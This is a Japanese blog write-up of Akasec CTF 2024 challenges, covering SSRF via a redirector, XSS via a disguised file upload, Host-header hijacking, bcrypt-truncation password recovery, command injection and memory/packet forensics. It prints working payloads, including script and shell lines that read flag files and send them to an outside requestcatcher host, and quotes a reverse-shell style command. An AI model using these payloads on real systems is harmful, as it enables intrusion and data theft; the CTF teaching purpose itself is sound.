はまやんはまやんはまやん

hamayanhamayan's blog

Akasec CTF 2024 Writeups

https://ctftime.org/event/2222

[Web] Proxy For Life

ソースコード有り。フラグを確認するとここにある。

func flagHandler(w http.ResponseWriter, r *http.Request) {
    args := os.Args
    flag := args[1]
    if 1 == 0 { // can you beat this :) !?
        fmt.Fprint(w, flag)
    } else {
        fmt.Fprint(w, "Nahhhhhhh")
    }
}

これはさすがに突破できないか笑…特筆すべき所として、引数でフラグが与えられているのがやや珍しい。他を見てみる。

func indexHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        config := safeurl.GetConfigBuilder().
            Build()

        client := safeurl.Client(config)

        url := r.FormValue("url")

        _, err := client.Get(url)
        if err != nil {
            renderTemplate(w, "index", map[string]string{"error": "The URL you entered is dangerous and not allowed."})
            fmt.Println(err)
            return
        }

        resp, err := http.Get(url)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer resp.Body.Close()

        body, _ := io.ReadAll(resp.Body)
        renderTemplate(w, "index", map[string]interface{}{"result": template.HTML(body)})
        return
    }

    renderTemplate(w, "index", nil)
}

safeurlを使ってurlを検証して使っている。公式サイトの使い方を見るとclient.Getで内容を取得して使用することができるのだが、それは使わず、検証後はhttp.Getを使ってurlを開いている。この差が気になるので色々考えると、DNS Rebindingのような回避方法を思いつく。リダイレクタを用意して、その応答を「何もしない200応答」と「本当にアクセスしたい先に302応答でリダイレクト」に交互に返すようにすれば、client.Get(url)による検証時は「何もしない200応答」で検証を回避でき、2回目のhttp.Get(url)で使うときは、本当にアクセスしたい先を使うことができる。

問題はどこにアクセスさせるかであるが、file://は使えないので代わりを探す必要がある。コードを見返すとimportで_ "net/http/pprof"というのが定義されていた。公式ドキュメントを見ると、エンドポイントが追加されるみたい。/debug/pprof/にアクセスしてみると色々出てきた。cmdlineが使えそうなので、/debug/pprof/cmdline?debug=1にアクセスするとフラグ獲得。直接アクセスすることができてしまったが、恐らく上のリダイレクタを使って内部から読み込むのが想定なのだろう。

想像する想定解では以下を動かして交互にリダイレクト先を入れ替えるリダイレクタを使うことで、検証を回避し、pprofのcmdlineを取得する。

const express = require('express')
const app = express()
const port = 3000

let switchFlag = 0;

app.get('/', (req, res) => {
    if (switchFlag == 0) {
        res.send('Hello World!');
        switchFlag = 1;
    } else {
        res.redirect('http://localhost:1337/debug/pprof/cmdline');
        switchFlag = 0;
    }
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
});

npm i expressしてnode redirector.jsで起動、/opt/ngrok http 3000でngrok用意して、URLを渡せばフラグが得られる。

[Web] Upload

ソースコード有り。admin botも与えられている。フラグの場所を確認すると以下にあった。admin botGET /flagをした結果を取得するとフラグが手に入る。

app.get('/flag', (req, res) => {
  let ip = req.connection.remoteAddress;
  if (ip === '127.0.0.1') {
    res.json({ flag: 'AKASEC{FAKE_FLAG}' });
  } else {
    res.status(403).json({ error: 'Access denied' });
  }
});

XSSを探すとアップロード機能が悪用でき、XSSにつなげることができた。アップロードでは以下のようにPDFファイルのみを受け付ける検証が入っていた。

const upload = multer({ 
  storage: storage,
  fileFilter: (req, file, cb) => {
    if (file.mimetype == "application/pdf") {
      cb(null, true);
    } else {
      cb(null, false);
      return cb(new Error('Only .pdf format allowed!'));
    }
  }
});

しかし、この部分はRequestのContent-Typeを見ているだけなので、中身が何であれ、このmimetypeを指定してやれば検証は通すことができる。よって、ログイン後、以下のようにHTMLファイルをアップロードしてやろう。

POST /upload HTTP/2
Host: [redacted].app
Cookie: connect.sid=s%3AoMaH-YDrFmRRDmGhyR80uCYrW6GV8cHt.mgcA5DsSrbFv91Wb5cg5ejn1YOhWrl1YVaiTF4WSr5U
Content-Length: 366
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBy4h95YFuD8HRi9f

------WebKitFormBoundaryBy4h95YFuD8HRi9f
Content-Disposition: form-data; name="file"; filename="fsdkasjireajkfsadjirejrk.html"
Content-Type: application/pdf

<script>fetch('/flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/post', { method : 'post', body: e })})</script>
------WebKitFormBoundaryBy4h95YFuD8HRi9f--

すると/view/file-1717850909954.htmlみたいな感じでリダイレクトされるが、view経由では発動しないので直接開く。/uploads/file-1717850909954.htmlとするとXSS発動する。これをadmin botに送ればフラグ獲得。想定解はCVE-2024-4367XSSする。

[Web] HackerCommunity

ソースコード有り。rubyのアプリケーションが与えられる。ファイル量は多いが読むべきファイルはそれほど多くない。フラグの場所はusers_controller.rbにある。

class UsersController < ApplicationController
  before_action :restrict_access

  def latest
    @users = User.order(created_at: :desc).limit(10)
    render json: @users
  end

  def flag
    render plain: File.open("/rails/flag.txt").read
  end

  private
  def restrict_access
    render plain: "Access Denied", status: :forbidden unless request.env['REMOTE_ADDR'] == '127.0.0.1'
  end
end

これはroutes.rbより/flagで到達可能であることが分かる。実際に行ってみると、Access Deniedと言われた。これも以下に書いてあるフィルタリングが効いているからで、127.0.0.1からアクセスしないと開くことができない。これをうまくやれそうな所を探すと、home_controller.rbが気になる。

class HomeController < ApplicationController
  def index
    if session[:user_id]
      @username = User.find_by(id: session[:user_id]).username
      if User.find_by(id: session[:user_id]).admin?
        begin
          response = HTTP.follow.get(users_latest_url)
          @users = JSON.parse(response.body)
        rescue Exception => e
          render plain: "Error: #{e}", status: 500
        end
      else
        @users = User.order(created_at: :desc).limit(5).as_json
      end
    else
      redirect_to(join_url)
    end
  end
end

まずは、adminであるユーザーを作り出す必要がある。join_controller.rbを見ると、入力が直接入れ込まれている。

class JoinController < ApplicationController
  def index
    redirect_to home_path if session[:user_id]
  end

  def create
    redirect_to home_path if session[:user_id]
    begin
      @user = User.new(user_params)
      if @user.save
        session[:user_id] = @user.id
        redirect_to home_path
      else
        render :index
      end
    rescue ActiveModel::UnknownAttributeError => e
        render plain: e, status: :forbidden
    end
  end

  private
  def user_params
    params.delete_if {|k,v| !k.is_a?(String) || !v.is_a?(String) || !k.ascii_only? || ["authenticity_token", "controller", "action", "admin"].include?(k)}.permit!
  end
end

これをみるとadmin=1みたいなものを入れればよさそうだが、user_params内部のフィルタリングで弾かれてしまう。どうしようかなーと考えていたが、log/development.logというファイルにadmin(1i)=1という感じに試しているログが見つかり、実際にやってみると成功する。discordを見るとこれは出題ミスらしい。これを1から見つけるのは結構きついというか、ここがこの問題の最難関な気もするが…とりあえずadmin権限を取得した。これはmultiparameterというものらしい。

response = HTTP.follow.get(users_latest_url)とあるが、これはヘルパーメソッドが効いていて/users/latestを指している。ここを乗っ取りたいな…と思いアイデアを試すとHostヘッダーの書き換えでホスト部分がハイジャックできることが分かった。

GET /home HTTP/1.1
Host: [yours].requestcatcher.com
Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D
Connection: keep-alive

こんな感じでHost部分を変更してアクセスしてやると、requestcatcherでアクセスを受信した。ok。リダイレクトで/flagに飛ぶようにしてやろう。このように用意してnpm i expressしてnode redirector.jsで起動、/opt/ngrok http 3000でngrok用意する。

const express = require('express')
const app = express()
const port = 3000

app.get('/users/latest', (req, res) => {
  res.redirect('http://localhost:3000/flag');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

ngrokのエンドポイントを使って以下のようにリクエストしてやるとエラー経由でフラグを取得することができる。

GET /home HTTP/1.1
Host: 48eb-2-56-252-141.ngrok-free.app
Cookie: _hacker_community_session=WvTey6iTFpRWbL6lZYRu0GmVG49lZ1YrJOTOd56N8Mnr1zrE4j79qIehAxZDhMmsPPH22HYQh77lfuEsSCJNXFc2npvKOmuzv2fscNuTv8X0E9iEns2gSE5o4WU8d79x7ib%2FObfaHheKgvWjE9Evfv4xZpcCnuBFFWSepnjoOMJOZ7lEw6erF%2FCfHMnDzx%2FDHhepbm%2Bb0atnoFOTIPqFEfeFt7Bcm6Hx6sHXLgQ%2B25ETHuVrTP7Lx%2F95%2BhUdjzjr%2FYVgFIGSmfBvAR5%2FmuZK%2BkOSSSDSP3iPQOYXaQtSksg%2FRhndy7t8riPrPKD4iJwRWWUcKSA%3D--IByc%2BT4BNk9E4CEq--2H1mwFZ45BNCcVRyVCIX1w%3D%3D
Connection: keep-alive

とするとError: unexpected token at 'AKASEC{■■■■■■■■■■■■■■■}'と応答がある。

[Web] Rusty Road 解けなかった

ソースコード有り。どう見ても以下の処理が怪しいが、攻撃方法が分からない…

static ref PASSWORD: String = "REDACTED".to_string();

…

fn subs(input: String) -> String {
    input.replace("PASSWORD", &PASSWORD)
}

…

#[post("/register", data = "<form>")]
fn register(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect {

    let username = subs(form.username.clone());
    if username.contains("admin") || username.contains(PASSWORD.as_str()) {
        return Redirect::to("/register");
    }

    let password = subs(form.password.clone());
    let password = hash_password(&password);

    println!("{:?}, {:?}", username, password);
    add_user(&username, &password);

    let claims = Claims {
        username: form.username.clone(),
        user_type: "user".to_string(),
        exp: 10000000000,
    };
    let token = encode(&Header::default(), &claims, &EncodingKey::from_secret(SECRET.as_ref())).unwrap();

    cookies.add(Cookie::new("token", token.clone()));

    Redirect::to("/")
}

さっぱり分からん… コンテスト終了後、discordで以下の投稿を見つける。

bcrypt truncation + RCE using {'raw': 'asdf && node_reverse_shell | bun run - '}

bcrypt truncation 😊

bcrypt truncationを使って管理者パスワードを特定する。

use bcrypt::{hash, verify, DEFAULT_COST};

fn hash_password(password: &str) -> String {
    hash(password, DEFAULT_COST).unwrap()
}

以上のようにbcryptでパスワードをハッシュ化している。bcryptは72bytesを超えると72bytesに丸められる制約があり、これを使って管理者パスワードを特定する。register関数の実装を見ると、PASSWORDの文字列が入っていると管理者パスワードに書き換えられる。ここで'a'*71+'PASSWORD'というパスワードを入力すると、'a'*71+(管理者パスワード)に書き変わり、この状態でbcryptに通すと72bytes制限に引っ掛かり、実際のハッシュ化は'a'*71+(管理者パスワードの1文字目)となる。この状態でユーザーを作った後、パスワードを'a'*71+(任意の文字)で全探索し、ログインできるものを探せば管理者パスワードの1文字目を特定することができる。以下のようなスクリプトでパスワードの特定が可能。

import requests, random, string

BASE = 'http://localhost:1337'

admin_password = ''
for _ in range(10):
    username = "".join(random.choices(string.ascii_letters, k=8))
    password = 'a'*(71 - len(admin_password)) + 'PASSWORD'
    requests.post(BASE + '/register', data={'username':username, 'password':password})

    ok = False
    for c in string.printable:
        chall = 'a'*(71 - len(admin_password)) + admin_password + c
        loc = requests.post(BASE + '/login', data={'username':username, 'password':chall}, allow_redirects=False).headers.get('Location')
        if loc == '/':
            admin_password += c
            break
    print(admin_password)

コマンドインジェクション(うまくいってないけど…)

管理者パスワードを手に入れた後は以下のエンドポイントを使い、バックエンドにアクセスする。

#[post("/log", format = "json", data = "<log_data>")]
async fn admin_log(cookies: &CookieJar<'_>, log_data: Json<Value>) -> Json<String> {
    let token = cookies.get("token").map(|cookie| cookie.value()).unwrap_or("");
    match validate_token(token) {
        Ok(data) => {
            if data.claims.user_type == "admin" {
                let client = reqwest::Client::new();
                let res = client.post("http://adminlogging:3000/log")
                    .header(header::AUTHORIZATION, API_KEY.as_str())
                    .json(&log_data.into_inner())
                    .send()
                    .await
                    .expect("Failed to send request");

                if res.status().is_success() {
                    Json("{ \"status\": \"Logged successfully\" }".to_string())
                } else {
                    Json("{ \"status\": \"Failed to log\" }".to_string())
                }
            } else {
                Json("{ \"status\": \"Access Denied\" }".to_string())
            }
        },
        Err(_) => Json("{ \"status\": \"Unauthorized\" }".to_string()),
    }
}

バックエンドはBunで動いており、以下にコマンドインジェクションポイントがある。

if (url.pathname === "/log") {
    await $`logger ${body.message}`;
    return new Response("Logged!", { status: 200 });
}

単純なコマンドインジェクションだが、環境にcurlwgetもないので、色々頑張る必要がある。discordで見た解法ではRCE using {'raw': 'asdf && node_reverse_shell | bun run - '}のように入っているbunを活用している。

{"message": "&& echo 'const response = await fetch(\"https://[yours].requestcatcher.com/\" + require(\"fs\").readFileSync(\"/flag.txt\").toString(\"utf8\"));' | bun run - "}

これを送ればうまくいきそうだが、成功しない。分からんけど、眠すぎるので一旦ここでストップ。

[Web] HackerNickName 解けなかった

ソースコード有り。javaで作られたサイトが与えられる。復習すると初見の技術があってすごく良かった。解いた人の解説はこことかこことかを見るといい。

@JacksonInjectに"": {"admin": True}で外部から差し込む

    @JsonCreator
    public Hacker(@JsonProperty(value = "firstName", required = true) String firstName,
                  @JsonProperty(value = "lastName", required = true) String lastName,
                  @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory,
                  @JacksonInject UserRole hackerRole) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.favouriteCategory = favouriteCategory;
        this.role = hackerRole;
    }

こういう定義になっていてhackerRoleは外部から差し込めないのが想定だが、"": {"admin": True}とkeyを空文字列にすれば差し込める。

curlのURL globbingを使ったフィルター回避

なんと、curlのURL globbingを使えば以下をうまく回避しながら任意のホストに接続が可能。

URL parsedUrl;
try {
    parsedUrl = new URL(url);
} catch (MalformedURLException e) {
    return ResponseEntity.status(401).body(e.getMessage());
}
if (!parsedUrl.getProtocol().equals("http") || !parsedUrl.getHost().equals("nicknameservice") || parsedUrl.getPort() != 5000)
    return ResponseEntity.status(401).body("Invalid URL");
ProcessBuilder pb = new ProcessBuilder("curl", "-f", url, "-o", nicknameService.filePath.toString());

[Forensics] Portugal

メモリダンプが与えられる。stringsコマンドをして眺めるとWindows向けのようだ。Volatility 3を使って色々探索してみる。

$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.pstree
…
464 404 winlogon.exe    0x8f289c40  7   -   1   False   2024-05-28 10:35:35.000000  N/A
* 720   464 dwm.exe 0x8f369040  13  -   1   False   2024-05-28 10:35:35.000000  N/A
* 2160  464 userinit.exe    0x9a0b2040  0   -   1   False   2024-05-28 10:35:37.000000  2024-05-28 10:36:04.000000 
** 2228 2160    explorer.exe    0x87a0ec40  64  -   1   False   2024-05-28 10:35:37.000000  N/A
*** 800 2228    FTK Imager.exe  0x8f213c00  22  -   1   False   2024-05-28 10:35:55.000000  N/A
*** 1240    2228    chrome.exe  0x9d7d7c40  40  -   1   False   2024-05-28 10:35:56.000000  N/A
**** 4900   1240    chrome.exe  0x815e66c0  15  -   1   False   2024-05-28 10:36:15.000000  N/A
**** 4104   1240    chrome.exe  0x89928480  16  -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4968   1240    chrome.exe  0x9d63e040  15  -   1   False   2024-05-28 10:36:16.000000  N/A
**** 2316   1240    chrome.exe  0x9d787340  14  -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4112   1240    chrome.exe  0x9d7df900  7   -   1   False   2024-05-28 10:35:58.000000  N/A
**** 4752   1240    chrome.exe  0x9d7df300  7   -   1   False   2024-05-28 10:36:03.000000  N/A
**** 1272   1240    chrome.exe  0xa2ec2840  8   -   1   False   2024-05-28 10:35:56.000000  N/A
*** 728 2228    OneDrive.exe    0xa2e47c40  22  -   1   False   2024-05-28 10:35:55.000000  N/A

chromeが動いている。問題文にI'm sure that someone took advantage of the opportunity and was searching for something.ともあるのでブラウザフォレンジックしてみる。Historyファイルあるかなーと探すとある。

$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.filescan
…
0x81595680  \Users\d33znu75\AppData\Local\Google\Chrome\User Data\Default\History   128
…
$ python3 ~/.opt/volatility3/vol.py -f memdump1.mem windows.dumpfiles --virtaddr 0x81595680
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0x81595680      History file.0x81595680.0x98570f60.DataSectionObject.History.dat
SharedCacheMap  0x81595680      History file.0x81595680.0xa2ee6968.SharedCacheMap.History.vacb

sqlitebrowserで開こうとするがうまく開けない。stringsコマンドを使って眺めてみると良い感じの履歴か何かが見つかる。

18- h_)
21- 0r(
19- h1'
20- st&
22- y}%
17- rc$
look !! its here yay*
16- 34
15- _s
14- m3
13- r0
12- ch
11- r_
10- f0
9- Y_
8- 1T
7- 1L
6- 4T
5- 0L
4- {V
3- EC
2- AS
1- AK
…

眺めるとこういう感じの履歴が残っていて、1からつなぐとAKASEC{Vのようにフラグっぽくなってきた。これを全部収集してつなげるとフラグが得られる。

[Forensics] Sussy

パケットキャプチャが与えられる。DNSを眺めるとakasec.maサブドメインでhex列が埋め込まれた通信が大量に出ている。 サブドメインの形で情報漏洩している感じがする。

"3","172.20.10.1","53","172.20.10.3","60691","DNS","170","","","377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma","Standard query response 0x9fb3 No such name AAAA 377abcaf271c000428d5bea6f0320000000000006200000000.akasec.ma SOA c.tld.ma"
"32","172.20.10.1","53","172.20.10.3","60637","DNS","170","","","000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma","Standard query response 0x4daa No such name AAAA 000000afc0b3fdf3a28da5f0a6ecb43084ad4350bc3b867658.akasec.ma SOA c.tld.ma"
"199","172.20.10.1","53","172.20.10.3","40079","DNS","170","","","70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma","Standard query response 0xdc15 No such name AAAA 70b38e2640f0c586065f13ca54f177fbd45f4191f198d93d67.akasec.ma SOA c.tld.ma"
"310","172.20.10.1","53","172.20.10.3","47170","DNS","170","","","3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma","Standard query response 0xfabe No such name AAAA 3855d5eb988ad41fdf98e8a08490079d964add15a7b5c70510.akasec.ma SOA c.tld.ma"
"586","172.20.10.1","53","172.20.10.3","54434","DNS","170","","","9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma","Standard query response 0x0507 No such name AAAA 9d6ecc7ac1f3c621b0eb9fedd7a8200c52cc2409e6dc7a604b.akasec.ma SOA c.tld.ma"

時系列順に全部持って来きて、Hex to binすると7zip形式の圧縮ファイルだった。解凍しようとするが暗号化されている。john the ripperとrockyouでクラック可能。

$ 7z2john encoded.bin > h
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 5 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 13035 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (encoded.bin)     
1g 0:00:00:02 DONE (2024-06-08 17:25) 0.4166g/s 106.6p/s 106.6c/s 106.6C/s carolina..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

解凍するとflagというPDFファイルが入っている。これもパスワードがかかっている。これも同様にjohn the ripperとrockyouでクラック可能。

$ pdf2john flag > h2

$ john --wordlist=/usr/share/wordlists/rockyou.txt h2
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
meow             (flag)     
1g 0:00:00:00 DONE (2024-06-08 17:26) 3.846g/s 124061p/s 124061c/s 124061C/s nuria..bheibhie
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

これで開くとフラグが書いてある。

[Forensics] Snooz

メモリダンプとパケットキャプチャが与えられる。まずは、メモリダンプをstringsするとWindowsのものであることが分かるので、Volatility3で解析を回して眺める。

windows.netscan
0xa384284931d0  TCPv4   0.0.0.0 1337    0.0.0.0 0   LISTENING   3200    snooz.exe   2024-06-03 05:57:13.000000 

windows.pstree
* 3264  612 userinit.exe    0xa38427e78300  0   -   1   False   2024-06-03 05:52:34.000000  2024-06-03 05:53:02.000000 
** 3320 3264    explorer.exe    0xa38427da5080  56  -   1   False   2024-06-03 05:52:34.000000  N/A
*** 4512    3320    cmd.exe 0xa38427f52080  1   -   1   False   2024-06-03 05:56:47.000000  N/A
**** 80 4512    conhost.exe 0xa38428f61080  5   -   1   False   2024-06-03 05:56:47.000000  N/A
**** 3200   4512    snooz.exe   0xa3842881f2c0  3   -   1   False   2024-06-03 05:57:13.000000  N/A
*** 5496    3320    Taskmgr.exe 0xa384290384c0  0   -   1   False   2024-06-03 05:58:50.000000  2024-06-03 05:59:17.000000 
**** 3276   5496    FTK Imager.exe  0xa3842257e4c0  19  -   1   True    2024-06-03 05:59:06.000000  N/A
*** 5812    3320    OneDrive.exe    0xa38428db23c0  21  -   1   False   2024-06-03 05:52:59.000000  N/A
*** 5844    3320    msedge.exe  0xa38428dd4080  42  -   1   False   2024-06-03 05:52:59.000000  N/A
**** 3040   5844    msedge.exe  0xa38428fd1080  15  -   1   False   2024-06-03 05:53:05.000000  N/A
**** 2872   5844    msedge.exe  0xa38428bea080  8   -   1   False   2024-06-03 05:53:06.000000  N/A
**** 5924   5844    msedge.exe  0xa38428c514c0  7   -   1   False   2024-06-03 05:53:02.000000  N/A
**** 76 5844    msedge.exe  0xa38428c450c0  17  -   1   False   2024-06-03 05:53:05.000000  N/A
*** 5716    3320    SecurityHealth  0xa38428db0340  1   -   1   False   2024-06-03 05:52:58.000000  N/A
*** 3608    3320    notepad.exe 0xa38425842340  1   -   1   False   2024-06-03 05:55:17.000000  N/A

とりあえず、snooz.exeというのが動いていて1337でリッスンしている。パケットキャプチャを見てみると、1337/tcpへ接続している通信ログから攻撃者のIPアドレス192.168.117.10であることが分かる。被害者端末は192.168.117.12ip.addr == 192.168.117.10でフィルターをかけて眺めてみよう。

JST
Jun  3, 2024 21:19:42 | No.18   | VictimからAttacker:8000宛に`GET /`。ディレクトリリスティング応答がある。攻撃者が既に侵入済みで追加データを持ってくるためだろう
Jun  3, 2024 21:19:52 | No.47   | VictimからAttacker:8000宛に`GET /download.dat`。base64エンコードされた何かを返している。
Jun  3, 2024 21:22:07 | No.119  | AttackerからVictim:1337へ通信が発生 (1)
Jun  3, 2024 21:22:56 | No.158  | AttackerからVictim:1337へ通信が発生 (2)
Jun  3, 2024 21:23:19 | No.182  | VictimからAttacker:8000宛に`GET /Win64OpenSSL_Light-3_3_0.exe`
Jun  3, 2024 21:23:22 | No.5452 | VictimからAttacker:8000宛に`GET /Shaw%20Z.%20-%20Learn%20Python%20the%20hard%20way-lulu.com%20%282010%29.pdf`
Jun  3, 2024 21:23:53 | No.6365 | AttackerからVictim:1337へ通信が発生 (3)
Jun  3, 2024 21:25:19 | No.6402 | AttackerからVictim:1337へ通信が発生 (4)
Jun  3, 2024 21:25:46 | No.6420 | AttackerからVictim:1337へ通信が発生 (5)

こんな感じになっていた。download.datを持ってきて、base64デコードするとfileコマンドでPE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sectionsとなるバイナリが得られた。Monoであることを感謝しつつ、dnSpyで開く。snooz.exeだった。難読化されているのでコツコツ戻していったが、受け取った文字列を復号化してConsole.WriteLineで出力しているだけだったので、実際に動かして復号化することにした。

AttackerからVictim:1337へ通信が発生 (1)
00000000  12 c6 b9 ac fc 4f 81 81  0d d2 1f 65 2b bf d6 af   .....O.. ...e+...
->
echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337
->
Error

AttackerからVictim:1337へ通信が発生 (2)
00000000  12 c6 b9 ac fc 4f 81 81  0d d2 1f 65 2b bf d6 af   .....O.. ...e+...
->
echo -n -e "\x12\xc6\xb9\xac\xfc\x4f\x81\x81\x\x0d\xd2\x1f\x65\x2b\xbf\xd6\xaf" | nc 169.254.182.151 1337
->
Error

AttackerからVictim:1337へ通信が発生 (3)
00000000  6f 31 71 b1 be 6a e8 6b  05 8c be e8 88 7f 29 a3   o1q..j.k ......).
->
echo -n -e "\x6f\x31\x71\xb1\xbe\x6a\xe8\x6b\x05\x8c\xbe\xe8\x88\x7f\x29\xa3" | nc 169.254.182.151 1337
->
Decrypted message: Yo snooz

AttackerからVictim:1337へ通信が発生 (4)
00000000  61 d2 1e f8 f1 2f f0 59  4c 4d 21 7a 3f ee f8 a7   a..../.Y LM!z?...
00000010  d9 93 e4 c7 bb 1f ea 53  1a f0 e6 25 9c 4b 46 66   .......S ...%.KFf
00000020  29 e8 91 09 ed 1d 5b a3  f3 53 4d ac c1 71 26 66   ).....[. .SM..q&f
00000030  13 ae 8d 24 b7 3b ef 16  42 6d 07 9d d1 d6 30 01   ...$.;.. Bm....0.
00000040  18 99 96 2b d6 e1 cf 2e  57 4e bc e9 cc 22 4f 62   ...+.... WN..."Ob
00000050  6f c5 8f ea 72 ad d0 be  45 4a b6 29 4f e2 df 11   o...r... EJ.)O...
00000060  9c ce 12 84 44 0e 40 9f  c0 7a a4 82 de 82 a1 b2   ....D.@. .z......
->
echo -n -e "\x61\xd2\x1e\xf8\xf1\x2f\xf0\x59\x4c\x4d\x21\x7a\x3f\xee\xf8\xa7\xd9\x93\xe4\xc7\xbb\x1f\xea\x53\x1a\xf0\xe6\x25\x9c\x4b\x46\x66\x29\xe8\x91\x09\xed\x1d\x5b\xa3\xf3\x53\x4d\xac\xc1\x71\x26\x66\x13\xae\x8d\x24\xb7\x3b\xef\x16\x42\x6d\x07\x9d\xd1\xd6\x30\x01\x18\x99\x96\x2b\xd6\xe1\xcf\x2e\x57\x4e\xbc\xe9\xcc\x22\x4f\x62\x6f\xc5\x8f\xea\x72\xad\xd0\xbe\x45\x4a\xb6\x29\x4f\xe2\xdf\x11\x9c\xce\x12\x84\x44\x0e\x40\x9f\xc0\x7a\xa4\x82\xde\x82\xa1\xb2" | nc 169.254.182.151 1337
->
Decrypted message: Got the new pass to open the pastecode. It's 5n00zm3m3rbr0z now. Ditch the old one. Keep it on the down-low.

AttackerからVictim:1337へ通信が発生 (5)
00000000  0e 44 9b 01 33 ee d2 e0  0a 24 05 69 c4 65 0f fa   .D..3... .$.i.e..
->
echo -n -e "\x0e\x44\x9b\x01\x33\xee\xd2\xe0\x0a\x24\x05\x69\xc4\x65\x0f\xfa" | nc 169.254.182.151 1337
->
Decrypted message: good luck

んー、5n00zm3m3rbr0zというパスワードが得られた。pastecodeというのはどこにあるんだろう。メモリダンプにnotepad.exeがあったので、このプロセスメモリを気合で確認すると見つかる。

$ python3 ~/.opt/volatility3/vol.py -f memdump.mem windows.memmap.Memmap --pid 3608 --dump
$ strings -e l pid.3608.dmp | grep pastecode
https://pastecode.io/s/9oz9u9h4

得られたパスワードを使うと開くことができ、4in6というbase64エンコード物が得られる。base64デコードしてみるとパスワード付きのzipファイルだった。

$ file 4in6.bin
4in6.bin: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

John The Ripperとrockyouでクラックを試すがクラックできない。パスワードどこかに無いか探すと、先ほどのnotepad.exeのメモリダンプに含まれていた。

This is the password for the zip containing all the importante data : Samaqlo@Akasex777

これを使えば解凍可能。flag.jpgを見るがフラグが無い。色々ステガノを頑張るとsteghideとパスワード総当たりでファイルが抽出できた。やっとフラグ獲得。

$ docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek flag.jpg rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "palestine4life"    
[i] Original filename: "flag.txt".
[i] Extracting to "flag.jpg.out".


$ cat flag.jpg.out
AKASEC{■■■■■■■■■■■■■■■}